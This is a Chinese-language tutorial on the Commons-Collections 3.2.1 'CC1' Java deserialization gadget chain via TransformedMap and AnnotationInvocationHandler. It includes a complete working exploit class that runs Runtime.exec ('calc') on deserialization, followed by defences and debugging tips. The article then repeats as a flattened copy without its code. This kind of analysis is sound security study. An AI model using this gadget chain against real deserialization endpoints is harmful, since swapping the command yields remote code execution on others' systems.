Java反序列化Commons-Collections1 TransformMap 版经验手记
字数 1776 2025-08-12 11:33:35

Java反序列化漏洞分析:Commons-Collections1 TransformMap版利用链

0x01 环境搭建

必要组件

  • JDK版本: 必须使用JDK8u65 (更高版本如8u71已修复漏洞)
  • 构建工具: Maven 3.6.3
  • 依赖库: Commons-Collections 3.2.1

Maven配置

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

源码调试准备

  1. 下载openJDK 8u65源码
  2. 解压jdk8u65的src.zip
  3. 将openJDK中的sun文件夹拷贝到jdk8u65源码目录
  4. 在IDE中关联源码,将.class文件转换为可读的.java文件

0x02 Commons-Collections简介

Apache Commons Collections是对Java标准Collections API的扩展,提供了更多数据结构和工具类。主要包结构包括:

  • org.apache.commons.collections - 公共接口和工具类
  • org.apache.commons.collections.functors - 自定义功能类
  • org.apache.commons.collections.map - Map接口实现
  • org.apache.commons.collections.transformer - 转换器相关

0x03 漏洞利用链分析

攻击链总体思路

  1. 入口点: 寻找可序列化类的readObject方法
  2. 执行点: 找到能够执行命令的方法(如Runtime.exec())
  3. 连接点: 构造从入口点到执行点的调用链

关键类分析

1. 命令执行终点 - InvokerTransformer

public class InvokerTransformer implements Transformer, Serializable {
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }
}

利用方式:

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
.transform(Runtime.getRuntime());

2. 中间桥梁 - TransformedMap

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

通过TransformedMap.decorate()方法创建可触发transform的Map:

Map transformedMap = TransformedMap.decorate(new HashMap(), null, transformer);

3. 触发点 - AbstractInputCheckedMapDecorator.MapEntry

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

4. 入口类 - AnnotationInvocationHandler

private void readObject(ObjectInputStream var1) {
    for (Map.Entry<String, Object> memberValue : this.memberValues.entrySet()) {
        memberValue.setValue(...);
    }
}

完整利用链

AnnotationInvocationHandler#readObject
    -> AbstractInputCheckedMapDecorator.MapEntry#setValue
        -> TransformedMap#checkSetValue
            -> InvokerTransformer#transform
                -> Runtime.exec()

0x04 EXP构造过程

1. 基础PoC

// 直接调用InvokerTransformer执行命令
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);

2. 结合TransformedMap

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

// 通过反射调用checkSetValue
Method checkSetValueMethod = TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.invoke(decorateMap, runtime);

3. 解决Runtime不可序列化问题

使用ChainedTransformer链式调用:

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

4. 解决AnnotationInvocationHandler限制

  • 使用Target.class代替Override.class(因为Target有value成员)
  • 添加ConstantTransformer确保参数可控

5. 最终EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class TransformMapEXP {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "drunkbaby");
        
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, transformedMap);
        
        // 序列化
        serialize(o);
        // 反序列化触发漏洞
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

0x05 关键点总结

  1. 版本要求:必须使用JDK8u65及Commons-Collections 3.2.1
  2. 利用链组成
    • 入口:AnnotationInvocationHandler.readObject()
    • 触发:MapEntry.setValue()
    • 转换:TransformedMap.checkSetValue()
    • 执行:InvokerTransformer.transform()
  3. 关键技术
    • 使用ChainedTransformer解决Runtime不可序列化问题
    • 使用ConstantTransformer确保参数可控
    • 选择Target.class作为Annotation类型
  4. 防御措施
    • 升级JDK版本
    • 升级Commons-Collections库
    • 使用反序列化过滤器

0x06 调试技巧

  1. 关键断点位置:

    • AnnotationInvocationHandler.readObject()中的if判断
    • AbstractInputCheckedMapDecorator.MapEntry.setValue()
    • TransformedMap.checkSetValue()
    • InvokerTransformer.transform()
  2. 调试时注意观察:

    • memberType的值变化
    • setValue的参数传递过程
    • transformer链的执行顺序

通过本文详细分析,读者可以深入理解Commons-Collections反序列化漏洞的原理和利用方式,为后续的安全研究和防御工作打下坚实基础。

Java反序列化漏洞分析:Commons-Collections1 TransformMap版利用链 0x01 环境搭建 必要组件 JDK版本 : 必须使用JDK8u65 (更高版本如8u71已修复漏洞) JDK8u65下载链接 构建工具 : Maven 3.6.3 依赖库 : Commons-Collections 3.2.1 Maven配置 源码调试准备 下载openJDK 8u65源码 解压jdk8u65的src.zip 将openJDK中的sun文件夹拷贝到jdk8u65源码目录 在IDE中关联源码,将.class文件转换为可读的.java文件 0x02 Commons-Collections简介 Apache Commons Collections是对Java标准Collections API的扩展,提供了更多数据结构和工具类。主要包结构包括: org.apache.commons.collections - 公共接口和工具类 org.apache.commons.collections.functors - 自定义功能类 org.apache.commons.collections.map - Map接口实现 org.apache.commons.collections.transformer - 转换器相关 0x03 漏洞利用链分析 攻击链总体思路 入口点 : 寻找可序列化类的 readObject 方法 执行点 : 找到能够执行命令的方法(如 Runtime.exec() ) 连接点 : 构造从入口点到执行点的调用链 关键类分析 1. 命令执行终点 - InvokerTransformer 利用方式: 2. 中间桥梁 - TransformedMap 通过 TransformedMap.decorate() 方法创建可触发transform的Map: 3. 触发点 - AbstractInputCheckedMapDecorator.MapEntry 4. 入口类 - AnnotationInvocationHandler 完整利用链 0x04 EXP构造过程 1. 基础PoC 2. 结合TransformedMap 3. 解决Runtime不可序列化问题 使用ChainedTransformer链式调用: 4. 解决AnnotationInvocationHandler限制 使用 Target.class 代替 Override.class (因为Target有value成员) 添加ConstantTransformer确保参数可控 5. 最终EXP 0x05 关键点总结 版本要求 :必须使用JDK8u65及Commons-Collections 3.2.1 利用链组成 : 入口: AnnotationInvocationHandler.readObject() 触发: MapEntry.setValue() 转换: TransformedMap.checkSetValue() 执行: InvokerTransformer.transform() 关键技术 : 使用 ChainedTransformer 解决Runtime不可序列化问题 使用 ConstantTransformer 确保参数可控 选择 Target.class 作为Annotation类型 防御措施 : 升级JDK版本 升级Commons-Collections库 使用反序列化过滤器 0x06 调试技巧 关键断点位置: AnnotationInvocationHandler.readObject() 中的if判断 AbstractInputCheckedMapDecorator.MapEntry.setValue() TransformedMap.checkSetValue() InvokerTransformer.transform() 调试时注意观察: memberType的值变化 setValue的参数传递过程 transformer链的执行顺序 通过本文详细分析,读者可以深入理解Commons-Collections反序列化漏洞的原理和利用方式,为后续的安全研究和防御工作打下坚实基础。